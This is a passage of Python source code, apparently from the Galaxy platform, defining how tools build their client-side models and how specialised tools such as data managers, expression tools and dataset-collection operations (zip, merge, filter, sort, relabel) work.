qualified=True) ) tool_help = unicodify(tool_help, "utf-8") if isinstance(self.action, tuple): action = self.action[0] + self.app.url_for(self.action[1]) else: action = self.app.url_for(self.action) # update tool model tool_model.update( { "id": self.id, "help": tool_help, "citations": bool(self.citations), "sharable_url": self.sharable_url, "message": tool_message, "warnings": tool_warnings, "versions": self.tool_versions, "requirements": [{"name": r.name, "version": r.version} for r in self.requirements], "errors": state_errors, "tool_errors": self.tool_errors, "state_inputs": params_to_strings(self.inputs, state_inputs, self.app, use_security=True, nested=True), "job_id": trans.security.encode_id(job.id) if job else None, "job_remap": job.remappable() if job else None, "history_id": trans.security.encode_id(history.id) if history else None, "display": self.display_interface, "action": action, "license": self.license, "creator": self.creator, "method": self.method, "enctype": self.enctype, } ) return tool_model def populate_model(self, request_context, inputs, state_inputs, group_inputs, other_values=None): """ Populates the tool model consumed by the client form builder. """ other_values = ExpressionContext(state_inputs, other_values) for input_index, input in enumerate(inputs.values()): tool_dict = None group_state = state_inputs.get(input.name, {}) if input.type == "repeat": tool_dict = input.to_dict(request_context) group_size = len(group_state) tool_dict["cache"] = [None] * group_size group_cache: List[List[str]] = tool_dict["cache"] for i in range(group_size): group_cache[i] = [] self.populate_model(request_context, input.inputs, group_state[i], group_cache[i], other_values) elif input.type == "conditional": tool_dict = input.to_dict(request_context) if "test_param" in tool_dict: test_param = tool_dict["test_param"] test_param["value"] = input.test_param.value_to_basic( group_state.get( test_param["name"], input.test_param.get_initial_value(request_context, other_values) ), self.app, ) test_param["text_value"] = input.test_param.value_to_display_text(test_param["value"]) for i in range(len(tool_dict["cases"])): current_state = {} if i == group_state.get("__current_case__"): current_state = group_state self.populate_model( request_context, input.cases[i].inputs, current_state, tool_dict["cases"][i]["inputs"], other_values, ) elif input.type == "section": tool_dict = input.to_dict(request_context) self.populate_model(request_context, input.inputs, group_state, tool_dict["inputs"], other_values) else: try: initial_value = input.get_initial_value(request_context, other_values) tool_dict = input.to_dict(request_context, other_values=other_values) tool_dict["value"] = input.value_to_basic( state_inputs.get(input.name, initial_value), self.app, use_security=True ) tool_dict["default_value"] = input.value_to_basic(initial_value, self.app, use_security=True) tool_dict["text_value"] = input.value_to_display_text(tool_dict["value"]) except ImplicitConversionRequired: tool_dict = input.to_dict(request_context) # This hack leads client to display a text field tool_dict["textable"] = True except Exception: tool_dict = input.to_dict(request_context) log.exception("tools::to_json() - Skipping parameter expansion '%s'", input.name) if input_index >= len(group_inputs): group_inputs.append(tool_dict) else: group_inputs[input_index] = tool_dict def _map_source_to_history(self, trans, tool_inputs, params): # Need to remap dataset parameters. Job parameters point to original # dataset used; parameter should be the analygous dataset in the # current history. history = trans.history # Create index for hdas. hda_source_dict = {} for hda in history.datasets: key = f"{hda.hid}_{hda.dataset.id}" hda_source_dict[hda.dataset.id] = hda_source_dict[key] = hda # Ditto for dataset collections. hdca_source_dict = {} for hdca in history.dataset_collections: key = f"{hdca.hid}_{hdca.collection.id}" hdca_source_dict[hdca.collection.id] = hdca_source_dict[key] = hdca # Map dataset or collection to current history def map_to_history(value): id = None source = None if isinstance(value, self.app.model.HistoryDatasetAssociation): id = value.dataset.id source = hda_source_dict elif isinstance(value, self.app.model.HistoryDatasetCollectionAssociation): id = value.collection.id source = hdca_source_dict else: return None key = f"{value.hid}_{id}" if key in source: return source[key] elif id in source: return source[id] else: return None def mapping_callback(input, value, **kwargs): if isinstance(input, DataToolParameter): if isinstance(value, list): values = [] for val in value: new_val = map_to_history(val) if new_val: values.append(new_val) else: values.append(val) return values else: return map_to_history(value) elif isinstance(input, DataCollectionToolParameter): return map_to_history(value) visit_input_values(tool_inputs, params, mapping_callback) def _compare_tool_version(self, job): """ Compares a tool version with the tool version from a job (from ToolRunner). """ tool_id = job.tool_id tool_version = job.tool_version message = "" try: select_field, tools, tool = self.app.toolbox.get_tool_components( tool_id, tool_version=tool_version, get_loaded_tools_by_lineage=False, set_selected=True ) if tool is None: raise exceptions.MessageException( "This dataset was created by an obsolete tool (%s). Can't re-run." % tool_id ) if (self.id != tool_id and self.old_id != tool_id) or self.version != tool_version: if self.id == tool_id: if tool_version: message = f'This job was run with tool version "{tool_version}", which is not available. ' if len(tools) > 1: message += ( "You can re-run the job with the selected tool or choose another version of the tool. " ) else: message += "You can re-run the job with this tool version, which is a different version of the original tool. " else: new_tool_shed_url = f"{tool.sharable_url}/{tool.changeset_revision}/" old_tool_shed_url = get_tool_shed_url_from_tool_shed_registry(self.app, tool_id.split("/repos/")[0]) old_tool_shed_url = f"{old_tool_shed_url}/view/{tool.repository_owner}/{tool.repository_name}/" message = f'This job was run with <a href="{old_tool_shed_url}" target="_blank">tool id "{tool_id}"</a>, version "{tool_version}", which is not available. ' if len(tools) > 1: message += f'You can re-run the job with the selected <a href="{new_tool_shed_url}" target="_blank">tool id "{self.id}"</a> or choose another derivation of the tool. ' else: message += f'You can re-run the job with <a href="{new_tool_shed_url}" target="_blank">tool id "{self.id}"</a>, which is a derivation of the original tool. ' if not self.is_latest_version: message += "There is a newer version of this tool available." except Exception as e: raise exceptions.MessageException(unicodify(e)) return message def get_default_history_by_trans(self, trans, create=False): return trans.get_history(create=create) @classmethod def get_externally_referenced_paths(self, path): """Return relative paths to externally referenced files by the tool described by file at `path`. External components should not assume things about the structure of tool xml files (this is the tool's responsibility). """ tree = raw_tool_xml_tree(path) root = tree.getroot() external_paths = [] for code_elem in root.findall("code"): external_path = code_elem.get("file") if external_path: external_paths.append(external_path) external_paths.extend(imported_macro_paths(root)) # May also need to load external citation files as well at some point. return external_paths class OutputParameterJSONTool(Tool): """ Alternate implementation of Tool that provides parameters and other values JSONified within the contents of an output dataset """ tool_type = "output_parameter_json" def _prepare_json_list(self, param_list): rval = [] for value in param_list: if isinstance(value, dict): rval.append(self._prepare_json_param_dict(value)) elif isinstance(value, list): rval.append(self._prepare_json_list(value)) else: rval.append(str(value)) return rval def _prepare_json_param_dict(self, param_dict): rval = {} for key, value in param_dict.items(): if isinstance(value, dict): rval[key] = self._prepare_json_param_dict(value) elif isinstance(value, list): rval[key] = self._prepare_json_list(value) else: rval[key] = str(value) return rval def exec_before_job(self, app, inp_data, out_data, param_dict=None): if param_dict is None: param_dict = {} json_params = {} json_params["param_dict"] = self._prepare_json_param_dict( param_dict ) # it would probably be better to store the original incoming parameters here, instead of the Galaxy modified ones? json_params["output_data"] = [] json_params["job_config"] = dict( GALAXY_DATATYPES_CONF_FILE=param_dict.get("GALAXY_DATATYPES_CONF_FILE"), GALAXY_ROOT_DIR=param_dict.get("GALAXY_ROOT_DIR"), TOOL_PROVIDED_JOB_METADATA_FILE=self.provided_metadata_file, ) json_filename = None for out_name, data in out_data.items(): # use wrapped dataset to access certain values wrapped_data = param_dict.get(out_name) # allow multiple files to be created file_name = str(wrapped_data) extra_files_path = str(wrapped_data.files_path) data_dict = dict( out_data_name=out_name, ext=data.ext, dataset_id=data.dataset.id, hda_id=data.id, file_name=file_name, extra_files_path=extra_files_path, ) json_params["output_data"].append(data_dict) if json_filename is None: json_filename = file_name if json_filename is None: raise Exception("Must call 'exec_before_job' with 'out_data' containing at least one entry.") with open(json_filename, "w") as out: out.write(json.dumps(json_params)) class ExpressionTool(Tool): requires_js_runtime = True tool_type = "expression" tool_type_local = True EXPRESSION_INPUTS_NAME = "_expression_inputs_.json" def parse_command(self, tool_source): self.command = f"cd ../; {expressions.EXPRESSION_SCRIPT_CALL}" self.interpreter = None self._expression = tool_source.parse_expression().strip() def parse_outputs(self, tool_source): # Setup self.outputs and self.output_collections super().parse_outputs(tool_source) # Validate these outputs for expression tools. if len(self.output_collections) != 0: message = "Expression tools may not declare output collections at this time." raise Exception(message) for output in self.outputs.values(): if not hasattr(output, "from_expression"): message = "Expression tools may not declare output datasets at this time." raise Exception(message) def exec_before_job(self, app, inp_data, out_data, param_dict=None): super().exec_before_job(app, inp_data, out_data, param_dict=param_dict) local_working_directory = param_dict["__local_working_directory__"] expression_inputs_path = os.path.join(local_working_directory, ExpressionTool.EXPRESSION_INPUTS_NAME) outputs = [] for out_name in out_data.keys(): output_def = self.outputs[out_name] wrapped_data = param_dict.get(out_name) file_name = str(wrapped_data) outputs.append( dict( name=out_name, from_expression=output_def.from_expression, path=file_name, ) ) if param_dict is None: raise Exception("Internal error - param_dict is empty.") job: Dict[str, str] = {} json_wrap(self.inputs, param_dict, self.profile, job, handle_files="OBJECT") expression_inputs = { "job": job, "script": self._expression, "outputs": outputs, } expressions.write_evalute_script(os.path.join(local_working_directory)) with open(expression_inputs_path, "w") as f: json.dump(expression_inputs, f) def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): for key, val in self.outputs.items(): if key not in out_data: # Skip filtered outputs continue if val.output_type == "data": with open(out_data[key].file_name) as f: src = json.load(f) assert isinstance(src, dict), f"Expected dataset 'src' to be a dictionary - actual type is {type(src)}" dataset_id = src["id"] copy_object = None for input_dataset in inp_data.values(): if input_dataset and input_dataset.id == dataset_id: copy_object = input_dataset break if copy_object is None: raise Exception("Failed to find dataset output.") out_data[key].copy_from(copy_object) def parse_environment_variables(self, tool_source): """Setup environment variable for inputs file.""" environmnt_variables_raw = super().parse_environment_variables(tool_source) expression_script_inputs = dict( name="GALAXY_EXPRESSION_INPUTS", template=ExpressionTool.EXPRESSION_INPUTS_NAME, ) environmnt_variables_raw.append(expression_script_inputs) return environmnt_variables_raw class DataSourceTool(OutputParameterJSONTool): """ Alternate implementation of Tool for data_source tools -- those that allow the user to query and extract data from another web site. """ tool_type = "data_source" default_tool_action = DataSourceToolAction def _build_GALAXY_URL_parameter(self): return ToolParameter.build( self, XML(f'<param name="GALAXY_URL" type="baseurl" value="/tool_runner?tool_id={self.id}" />') ) def parse_inputs(self, tool_source): super().parse_inputs(tool_source) # Open all data_source tools in _top. self.target = "_top" if "GALAXY_URL" not in self.inputs: self.inputs["GALAXY_URL"] = self._build_GALAXY_URL_parameter() self.inputs_by_page[0]["GALAXY_URL"] = self.inputs["GALAXY_URL"] def exec_before_job(self, app, inp_data, out_data, param_dict=None): if param_dict is None: param_dict = {} dbkey = param_dict.get("dbkey") info = param_dict.get("info") data_type = param_dict.get("data_type") name = param_dict.get("name") json_params = {} json_params["param_dict"] = self._prepare_json_param_dict( param_dict ) # it would probably be better to store the original incoming parameters here, instead of the Galaxy modified ones? json_params["output_data"] = [] json_params["job_config"] = dict( GALAXY_DATATYPES_CONF_FILE=param_dict.get("GALAXY_DATATYPES_CONF_FILE"), GALAXY_ROOT_DIR=param_dict.get("GALAXY_ROOT_DIR"), TOOL_PROVIDED_JOB_METADATA_FILE=self.provided_metadata_file, ) json_filename = None for out_name, data in out_data.items(): # use wrapped dataset to access certain values wrapped_data = param_dict.get(out_name) # allow multiple files to be created cur_base_param_name = f"GALAXY|{out_name}|" cur_name = param_dict.get(f"{cur_base_param_name}name", name) cur_dbkey = param_dict.get(f"{cur_base_param_name}dkey", dbkey) cur_info = param_dict.get(f"{cur_base_param_name}info", info) cur_data_type = param_dict.get(f"{cur_base_param_name}data_type", data_type) if cur_name: data.name = cur_name if not data.info and cur_info: data.info = cur_info if cur_dbkey: data.dbkey = cur_dbkey if cur_data_type: data.extension = cur_data_type file_name = str(wrapped_data) extra_files_path = str(wrapped_data.files_path) data_dict = dict( out_data_name=out_name, ext=data.ext, dataset_id=data.dataset.id, hda_id=data.id, file_name=file_name, extra_files_path=extra_files_path, ) json_params["output_data"].append(data_dict) if json_filename is None: json_filename = file_name if json_filename is None: raise Exception("Must call 'exec_before_job' with 'out_data' containing at least one entry.") with open(json_filename, "w") as out: out.write(json.dumps(json_params)) class AsyncDataSourceTool(DataSourceTool): tool_type = "data_source_async" def _build_GALAXY_URL_parameter(self): return ToolParameter.build(self, XML(f'<param name="GALAXY_URL" type="baseurl" value="/async/{self.id}" />')) class DataDestinationTool(Tool): tool_type = "data_destination" class SetMetadataTool(Tool): """ Tool implementation for special tool that sets metadata on an existing dataset. """ tool_type = "set_metadata" requires_setting_metadata = False tool_action: "SetMetadataToolAction" def regenerate_imported_metadata_if_needed(self, hda, history, job): if hda.has_metadata_files: job, *_ = self.tool_action.execute_via_app( self, self.app, job.session_id, history.id, job.user, incoming={"input1": hda}, overwrite=False ) self.app.job_manager.enqueue(job=job, tool=self) def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): working_directory = app.object_store.get_filename(job, base_dir="job_work", dir_only=True, obj_dir=True) for name, dataset in inp_data.items(): external_metadata = get_metadata_compute_strategy(app.config, job.id, tool_id=self.id) sa_session = app.model.context metadata_set_successfully = external_metadata.external_metadata_set_successfully( dataset, name, sa_session, working_directory=working_directory ) if metadata_set_successfully: try: # external_metadata_set_successfully is only an approximation (the metadata json file exists), # things can still go wrong, but we don't want to fail here since it can lead to a resubmission loop external_metadata.load_metadata(dataset, name, sa_session, working_directory=working_directory) except Exception: metadata_set_successfully = False log.exception("Exception occured while loading metadata results") if not metadata_set_successfully: dataset._state = model.Dataset.states.FAILED_METADATA self.sa_session.add(dataset) self.sa_session.flush() return # If setting external metadata has failed, how can we inform the # user? For now, we'll leave the default metadata and set the state # back to its original. dataset.datatype.after_setting_metadata(dataset) if job and job.tool_id == "1.0.0": dataset.state = param_dict.get("__ORIGINAL_DATASET_STATE__") else: # Revert dataset.state to fall back to dataset.dataset.state dataset._state = None # Need to reset the peek, which may rely on metadata # TODO: move this into metadata setting, setting the peek requires dataset access, # and large chunks of the dataset may be read here. try: dataset.set_peek() except Exception: log.exception("Exception occured while setting dataset peek") self.sa_session.add(dataset) self.sa_session.flush() def job_failed(self, job_wrapper, message, exception=False): job = job_wrapper.sa_session.query(model.Job).get(job_wrapper.job_id) if job: inp_data = {} for dataset_assoc in job.input_datasets: inp_data[dataset_assoc.name] = dataset_assoc.dataset return self.exec_after_process(job_wrapper.app, inp_data, {}, job_wrapper.get_param_dict(), job=job) class ExportHistoryTool(Tool): tool_type = "export_history" class ImportHistoryTool(Tool): tool_type = "import_history" def exec_after_process(self, app, inp_data, out_data, param_dict, job, final_job_state=None, **kwds): super().exec_after_process(app, inp_data, out_data, param_dict, job=job, **kwds) if final_job_state != DETECTED_JOB_STATE.OK: return JobImportHistoryArchiveWrapper(self.app, job.id).cleanup_after_job() class InteractiveTool(Tool): tool_type = "interactive" produces_entry_points = True def __init__(self, config_file, tool_source, app, **kwd): assert app.config.interactivetools_enable, ValueError( "Trying to load an InteractiveTool, but InteractiveTools are not enabled." ) super().__init__(config_file, tool_source, app, **kwd) def __remove_interactivetool_by_job(self, job): if job: eps = job.interactivetool_entry_points log.debug("__remove_interactivetool_by_job: %s", eps) self.app.interactivetool_manager.remove_entry_points(eps) else: log.warning("Could not determine job to stop InteractiveTool: %s", job) def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, **kwds): # run original exec_after_process super().exec_after_process(app, inp_data, out_data, param_dict, job=job, **kwds) self.__remove_interactivetool_by_job(job) def job_failed(self, job_wrapper, message, exception=False): super().job_failed(job_wrapper, message, exception=exception) job = job_wrapper.sa_session.query(model.Job).get(job_wrapper.job_id) self.__remove_interactivetool_by_job(job) class DataManagerTool(OutputParameterJSONTool): tool_type = "manage_data" default_tool_action = DataManagerToolAction def __init__(self, config_file, root, app, guid=None, data_manager_id=None, **kwds): self.data_manager_id = data_manager_id super().__init__(config_file, root, app, guid=guid, **kwds) if self.data_manager_id is None: self.data_manager_id = self.id def exec_after_process(self, app, inp_data, out_data, param_dict, job=None, final_job_state=None, **kwds): assert self.allow_user_access(job.user), "You must be an admin to access this tool." if final_job_state != DETECTED_JOB_STATE.OK: return # run original exec_after_process super().exec_after_process(app, inp_data, out_data, param_dict, job=job, **kwds) # process results of tool data_manager_id = job.data_manager_association.data_manager_id data_manager = self.app.data_managers.get_manager(data_manager_id, None) assert ( data_manager is not None ), f"Invalid data manager ({data_manager_id}) requested. It may have been removed before the job completed." data_manager.process_result(out_data) def get_default_history_by_trans(self, trans, create=False): def _create_data_manager_history(user): history = trans.app.model.History(name="Data Manager History (automatically created)", user=user) data_manager_association = trans.app.model.DataManagerHistoryAssociation(user=user, history=history) trans.sa_session.add_all((history, data_manager_association)) trans.sa_session.flush() return history user = trans.user assert user, "You must be logged in to use this tool." assert self.allow_user_access(user), "You must be an admin to access this tool." dm_history_associations = user.data_manager_histories if not dm_history_associations: # create if create: history = _create_data_manager_history(user) else: history = None else: for dm_history_association in reversed(dm_history_associations): history = dm_history_association.history if not history.deleted: break if history.deleted: if create: history = _create_data_manager_history(user) else: history = None return history def allow_user_access(self, user, attempting_access=True) -> bool: """Check user access to this tool. :param user: model object representing user. :type user: galaxy.model.User :param attempting_access: is the user attempting to do something with the the tool (set false for incidental checks like toolbox listing) :type attempting_access: bool :returns: Whether the user is allowed to access the tool. Data Manager tools are only accessible to admins. """ if super().allow_user_access(user) and self.app.config.is_admin_user(user): return True # If this is just an incidental check - do not log the scary message # about users attempting to do something problematic. if attempting_access: if user: user = user.id log.debug("User (%s) attempted to access a data manager tool (%s), but is not an admin.", user, self.id) return False class DatabaseOperationTool(Tool): default_tool_action = ModelOperationToolAction require_dataset_ok = True tool_type_local = True @property def valid_input_states(self): if self.require_dataset_ok: return (model.Dataset.states.OK,) else: return model.Dataset.terminal_states @property def allow_errored_inputs(self): return not self.require_dataset_ok def check_inputs_ready(self, input_datasets, input_dataset_collections): def check_dataset_state(state): if state in model.Dataset.non_ready_states: raise ToolInputsNotReadyException("An input dataset is pending.") if self.require_dataset_ok: if state != model.Dataset.states.OK: raise ValueError( f"Tool requires inputs to be in valid state, but dataset {input_dataset} is in state '{input_dataset.state}'" ) for input_dataset in input_datasets.values(): check_dataset_state(input_dataset.state) for input_dataset_collection_pairs in input_dataset_collections.values(): for input_dataset_collection, _ in input_dataset_collection_pairs: if not input_dataset_collection.collection.populated_optimized: raise ToolInputsNotReadyException("An input collection is not populated.") states, _ = input_dataset_collection.collection.dataset_states_and_extensions_summary for state in states: check_dataset_state(state) def _add_datasets_to_history(self, history, elements, datasets_visible=False): for element_object in elements: if getattr(element_object, "history_content_type", None) == "dataset": element_object.visible = datasets_visible history.stage_addition(element_object) def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): return self._outputs_dict() def _outputs_dict(self): return {} class UnzipCollectionTool(DatabaseOperationTool): tool_type = "unzip_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): has_collection = incoming["input"] if hasattr(has_collection, "element_type"): # It is a DCE collection = has_collection.element_object else: # It is an HDCA collection = has_collection.collection assert collection.collection_type == "paired" forward_o, reverse_o = collection.dataset_instances forward, reverse = forward_o.copy(copy_tags=forward_o.tags), reverse_o.copy(copy_tags=reverse_o.tags) self._add_datasets_to_history(history, [forward, reverse]) out_data["forward"] = forward out_data["reverse"] = reverse class ZipCollectionTool(DatabaseOperationTool): tool_type = "zip_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): forward_o = incoming["input_forward"] reverse_o = incoming["input_reverse"] forward, reverse = forward_o.copy(copy_tags=forward_o.tags), reverse_o.copy(copy_tags=reverse_o.tags) new_elements = {} new_elements["forward"] = forward new_elements["reverse"] = reverse self._add_datasets_to_history(history, [forward, reverse]) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class BuildListCollectionTool(DatabaseOperationTool): tool_type = "build_list" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): new_elements = {} for i, incoming_repeat in enumerate(incoming["datasets"]): if incoming_repeat["input"]: try: id_select = incoming_repeat["id_cond"]["id_select"] except KeyError: # Prior to tool version 1.2.0 id_select = "idx" if id_select == "idx": identifier = str(i) elif id_select == "identifier": identifier = getattr(incoming_repeat["input"], "element_identifier", incoming_repeat["input"].name) elif id_select == "manual": identifier = incoming_repeat["id_cond"]["identifier"] new_elements[identifier] = incoming_repeat["input"].copy(copy_tags=incoming_repeat["input"].tags) self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class ExtractDatasetCollectionTool(DatabaseOperationTool): tool_type = "extract_dataset" def produce_outputs(self, trans, out_data, output_collections, incoming, history, tags=None, **kwds): has_collection = incoming["input"] if hasattr(has_collection, "element_type"): # It is a DCE collection = has_collection.element_object else: # It is an HDCA collection = has_collection.collection collection_type = collection.collection_type assert collection_type in ["list", "paired"] how = incoming["which"]["which_dataset"] if how == "first": extracted_element = collection.first_dataset_element elif how == "by_identifier": extracted_element = collection[incoming["which"]["identifier"]] elif how == "by_index": extracted_element = collection[int(incoming["which"]["index"])] else: raise Exception("Invalid tool parameters.") extracted = extracted_element.element_object extracted_o = extracted.copy(copy_tags=extracted.tags, new_name=extracted_element.element_identifier) self._add_datasets_to_history(history, [extracted_o], datasets_visible=True) out_data["output"] = extracted_o class MergeCollectionTool(DatabaseOperationTool): tool_type = "merge_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): input_lists = [] for incoming_repeat in incoming["inputs"]: input_lists.append(incoming_repeat["input"]) advanced = incoming.get("advanced", None) dupl_actions = "keep_first" suffix_pattern = None if advanced is not None: dupl_actions = advanced["conflict"]["duplicate_options"] if dupl_actions in ["suffix_conflict", "suffix_every", "suffix_conflict_rest"]: suffix_pattern = advanced["conflict"]["suffix_pattern"] new_element_structure = {} # Which inputs does the identifier appear in. identifiers_map: Dict[str, List[int]] = {} for input_num, input_list in enumerate(input_lists): for dce in input_list.collection.elements: element_identifier = dce.element_identifier if element_identifier not in identifiers_map: identifiers_map[element_identifier] = [] elif dupl_actions == "fail": raise Exception(f"Duplicate collection element identifiers found for [{element_identifier}]") identifiers_map[element_identifier].append(input_num) for copy, input_list in enumerate(input_lists): for dce in input_list.collection.elements: element = dce.element_object valid = False # dealing with a single element if hasattr(element, "is_ok"): if element.is_ok: valid = True elif hasattr(element, "dataset_instances"): # we are probably a list:paired dataset, both need to be in non error state forward_o, reverse_o = element.dataset_instances if forward_o.is_ok and reverse_o.is_ok: valid = True if valid: element_identifier = dce.element_identifier identifier_seen = element_identifier in new_element_structure appearances = identifiers_map[element_identifier] add_suffix = False if dupl_actions == "suffix_every": add_suffix = True elif dupl_actions == "suffix_conflict" and len(appearances) > 1: add_suffix = True elif dupl_actions == "suffix_conflict_rest" and len(appearances) > 1 and appearances[0] != copy: add_suffix = True if dupl_actions == "keep_first" and identifier_seen: continue if add_suffix and suffix_pattern: suffix = suffix_pattern.replace("#", str(copy + 1)) effective_identifer = f"{element_identifier}{suffix}" else: effective_identifer = element_identifier new_element_structure[effective_identifer] = element # Don't copy until we know everything is fine and we have the structure of the list ready to go. new_elements = {} for key, value in new_element_structure.items(): if getattr(value, "history_content_type", None) == "dataset": copied_value = value.copy(copy_tags=value.tags, flush=False) else: copied_value = value.copy() new_elements[key] = copied_value self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class FilterDatasetsTool(DatabaseOperationTool): def _get_new_elements(self, history, elements_to_copy): new_elements = {} for dce in elements_to_copy: element_identifier = dce.element_identifier if getattr(dce.element_object, "history_content_type", None) == "dataset": copied_value = dce.element_object.copy(copy_tags=dce.element_object.tags, flush=False) else: copied_value = dce.element_object.copy() new_elements[element_identifier] = copied_value return new_elements def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): collection = incoming["input"] if hasattr(collection, "element_object"): # A list elements = collection.element_object.elements collection_type = collection.element_object.collection_type else: # A list of pairs elements = collection.collection.elements collection_type = collection.collection.collection_type # We only process list or list of pair collections. Higher order collection will be mapped over assert collection_type in ("list", "list:paired") elements_to_copy = [] for element in elements: if collection_type == "list": if self.element_is_valid(element): elements_to_copy.append(element) else: valid = True for child_element in element.child_collection.elements: if not self.element_is_valid(child_element): valid = False if valid: elements_to_copy.append(element) new_elements = self._get_new_elements(history=history, elements_to_copy=elements_to_copy) self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class FilterFailedDatasetsTool(FilterDatasetsTool): tool_type = "filter_failed_datasets_collection" require_dataset_ok = False def element_is_valid(self, element): return element.element_object.is_ok class FilterEmptyDatasetsTool(FilterDatasetsTool): tool_type = "filter_empty_datasets_collection" require_dataset_ok = False def element_is_valid(self, element): return element.element_object.has_data() class FlattenTool(DatabaseOperationTool): tool_type = "flatten_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] join_identifier = incoming["join_identifier"] new_elements = {} copied_datasets = [] def add_elements(collection, prefix=""): for dce in collection.elements: dce_object = dce.element_object dce_identifier = dce.element_identifier identifier = f"{prefix}{join_identifier}{dce_identifier}" if prefix else dce_identifier if dce.is_collection: add_elements(dce_object, prefix=identifier) else: copied_dataset = dce_object.copy(copy_tags=dce_object.tags, flush=False) new_elements[identifier] = copied_dataset copied_datasets.append(copied_dataset) add_elements(hdca.collection) self._add_datasets_to_history(history, copied_datasets) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class SortTool(DatabaseOperationTool): tool_type = "sort_collection" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] sorttype = incoming["sort_type"]["sort_type"] new_elements = {} elements = hdca.collection.elements presort_elements = [] if sorttype == "alpha": presort_elements = [(dce.element_identifier, dce) for dce in elements] elif sorttype == "numeric": presort_elements = [(int(re.sub("[^0-9]", "", dce.element_identifier)), dce) for dce in elements] elif sorttype == "file": hda = incoming["sort_type"]["sort_file"] data_lines = hda.metadata.get("data_lines", 0) if data_lines == len(elements): old_elements_dict = {} for element in elements: old_elements_dict[element.element_identifier] = element try: with open(hda.file_name) as fh: sorted_elements = [old_elements_dict[line.strip()] for line in fh] except KeyError: hdca_history_name = f"{hdca.hid}: {hdca.name}" message = f"List of element identifiers does not match element identifiers in collection '{hdca_history_name}'" raise Exception(message) else: message = f"Number of lines must match number of list elements ({len(elements)}), but file has {data_lines} lines" raise Exception(message) else: raise Exception(f"Unknown sort_type '{sorttype}'") if presort_elements: sorted_elements = [x[1] for x in sorted(presort_elements, key=lambda x: x[0])] for dce in sorted_elements: dce_object = dce.element_object if getattr(dce_object, "history_content_type", None) == "dataset": copied_dataset = dce_object.copy(copy_tags=dce_object.tags, flush=False) else: copied_dataset = dce_object.copy(flush=False) new_elements[dce.element_identifier] = copied_dataset self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class RelabelFromFileTool(DatabaseOperationTool): tool_type = "relabel_from_file" def produce_outputs(self, trans, out_data, output_collections, incoming, history, **kwds): hdca = incoming["input"] how_type = incoming["how"]["how_select"] new_labels_dataset_assoc = incoming["how"]["labels"] strict = string_as_bool(incoming["how"]["strict"]) new_elements = {} def add_copied_value_to_new_elements(new_label, dce_object): new_label = new_label.strip() if new_label in new_elements: raise Exception( f"New identifier [{new_label}] appears twice in resulting collection, these values must be unique." ) if getattr(dce_object, "history_content_type", None) == "dataset": copied_value = dce_object.copy(copy_tags=dce_object.tags, flush=False) else: copied_value = dce_object.copy() new_elements[new_label] = copied_value new_labels_path = new_labels_dataset_assoc.file_name with open(new_labels_path) as fh: new_labels = fh.readlines(1024 * 1000000) if strict and len(hdca.collection.elements) != len(new_labels): raise Exception("Relabel mapping file contains incorrect number of identifiers") if how_type == "tabular": # We have a tabular file, where the first column is an existing element identifier, # and the second column is the new element identifier. source_new_label = (line.strip().split("\t") for line in new_labels) new_labels_dict = {source: new_label for source, new_label in source_new_label} for dce in hdca.collection.elements: dce_object = dce.element_object element_identifier = dce.element_identifier default = None if strict else element_identifier new_label = new_labels_dict.get(element_identifier, default) if not new_label: raise Exception(f"Failed to find new label for identifier [{element_identifier}]") add_copied_value_to_new_elements(new_label, dce_object) else: # If new_labels_dataset_assoc is not a two-column tabular dataset we label with the current line of the dataset for i, dce in enumerate(hdca.collection.elements): dce_object = dce.element_object add_copied_value_to_new_elements(new_labels[i], dce_object) for key in new_elements.keys(): if not re.match(r"^[\w\- \.,]+$", key): raise Exception(f"Invalid new colleciton identifier [{key}]") self._add_datasets_to_history(history, new_elements.values()) output_collections.create_collection( next(iter(self.outputs.values())), "output", elements=new_elements, propagate_hda_tags=False ) class ApplyRulesTool(DatabaseOperationTool): tool_type = "apply_rules" def produce_outputs(self, trans, out_data, output_collections, incoming, history, tag_handler, **kwds): hdca = incoming["input"] rule_set = RuleSet(incoming["rules"]) copied_datasets = [] def copy_dataset(dataset, tags): copied_dataset = dataset.copy(copy_tags=dataset.tags, flush=False) if tags is not None: tag_handler.set_tags_from_list(trans.get_user(), copied_dataset, tags, flush=False) copied_dataset.history_id = history.id copied_datasets.append(copied_dataset) return copied_dataset new_elements = self.app.dataset_collection_manager.apply_rules(hdca, rule_set, copy_dataset) self._add_datasets_to_history(history, copied_datasets) output_collections.create_collection( next(iter(self.outputs.values())), "output", collection_type=rule_set.collection_type, elements=new_elements, propagate_hda_tags=False, ) class TagFromFileTool(DatabaseOperationTool): tool_type = "tag_from_file" def produce_outputs(self, trans, out_data, output_collections, incoming, history, tag_handler, **kwds): hdca = incoming["input"] how = incoming["how"] new_tags_dataset_assoc = incoming["tags"] new_elements = {} new_datasets = [] def add_copied_value_to_new_elements(new_tags_dict, dce): if getattr(dce.element_object, "history_content_type", None) == "dataset": copied_value = dce.element_object.copy(copy_tags=dce.element_object.tags, flush=False) # copy should never be visible, since part of a collection copied_value.visble = False new_datasets.append(copied_value) new_tags = new_tags_dict.get(dce.element_identifier) if new_tags: if how in ("add", "remove") and dce.element_object.tags: # We need get the original tags and update them with the new tags old_tags = {tag for tag in 